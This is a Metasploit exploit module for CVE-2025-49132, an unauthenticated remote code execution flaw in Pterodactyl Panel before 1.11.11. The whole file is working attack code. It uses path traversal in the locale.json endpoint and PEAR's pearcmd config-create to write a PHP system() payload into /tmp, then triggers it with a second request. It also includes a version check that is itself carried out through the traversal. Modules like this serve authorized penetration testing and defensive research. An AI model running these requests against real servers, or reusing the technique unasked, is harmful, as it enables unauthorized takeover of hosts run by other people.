Pterodactyl Panel CVE-2025-49132 Remote Code Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
          remote code execution through improper handling of locale file operations. The vulnerability
          exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
          is in the context of the user running the webserver.

          The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
          malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.
        },
        'Author' => [
          '0xtensho', # Original PoC
          'jheysel-r7', # MSF Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49132'],
          ['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc']
        ],
        'Platform' => %w[unix linux],
        'Targets' => [
          [
            'Command Payload',
            {
              'Arch' => ARCH_CMD,
              'Type' => :cmd
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x20\x27",
          'EncoderType' => Msf::Encoder::Type::CmdPosixBase64
        },
        'DisclosureDate' => '2025-06-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']),
        OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']),
        OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']),
        OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]),
      ]
    )
  end

  def check
    # Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app')
    )

    if res&.code == 200
      json = res&.get_json_document

      if json.nil? || json.empty?
        return CheckCode::Unknown('Response did not contain a valid JSON document')
      end

      version = json.dig('../../', 'config/app', 'version')
      return CheckCode::Unknown('Response did not contain a valid version number') unless version

      rex_version = Rex::Version.new(version)

      if rex_version < Rex::Version.new('1.11.11')
        # Usually we return Appears for a version check but this version is only obtainable through exploiting
        # the vulnerability itself, so we can be confident that if we see this version, it's vulnerable
        return CheckCode::Vulnerable("Version found: #{version}")
      else
        # This code path should not be reachable in a patched version, but it's here just in case
        return CheckCode::Safe("Version found: #{version}")
      end

    elsif res&.code == 403 || res&.code == 404
      # Path traversal is being blocked
      return CheckCode::Safe('Path traversal is being blocked')
    end

    CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status')
  end

  def exploit
    payload_code = generate_encoded_payload
    filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php"
    traversal_depth = '../' * datastore['TRAVERSAL_DEPTH']
    upload_payload(payload_code, filename, traversal_depth)
    execute_payload(filename, traversal_depth)
  end

  def upload_payload(payload_code, filename, traversal_depth)
    upload_dir = datastore['UPLOAD_DIR']
    payload_file = File.join(upload_dir, filename)

    print_status("Uploading payload file to #{payload_file}")
    traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}"
    first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir)

    print_status('Sending initial payload creation request...')
    res1 = send_request_cgi(
      'method' => 'GET',
      'uri' => first_url
    )

    unless res1&.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}")
    end

    register_file_for_cleanup(payload_file)
    print_status("Initial request response code: #{res1.code}")
  end

  def execute_payload(filename, traversal_depth)
    print_status('Triggering payload execution...')
    url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth)

    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => url2
    )

    if res2
      print_warning('The module received a response from the server, which may indicate the payload did not execute as expected')
    end
  end

  def generate_encoded_payload
    "<?=system('#{payload.encoded}')?>"
  end

  def build_exploit_url(traverse_path, filename, payload, upload_dir)
    base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
    url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}"
    vprint_status("Exploit URL: #{url}")
    url
  end

  def build_execution_url(filename_base, traversal_depth)
    base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
    url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}"
    vprint_status("Execution URL: #{url}")
    url
  end
end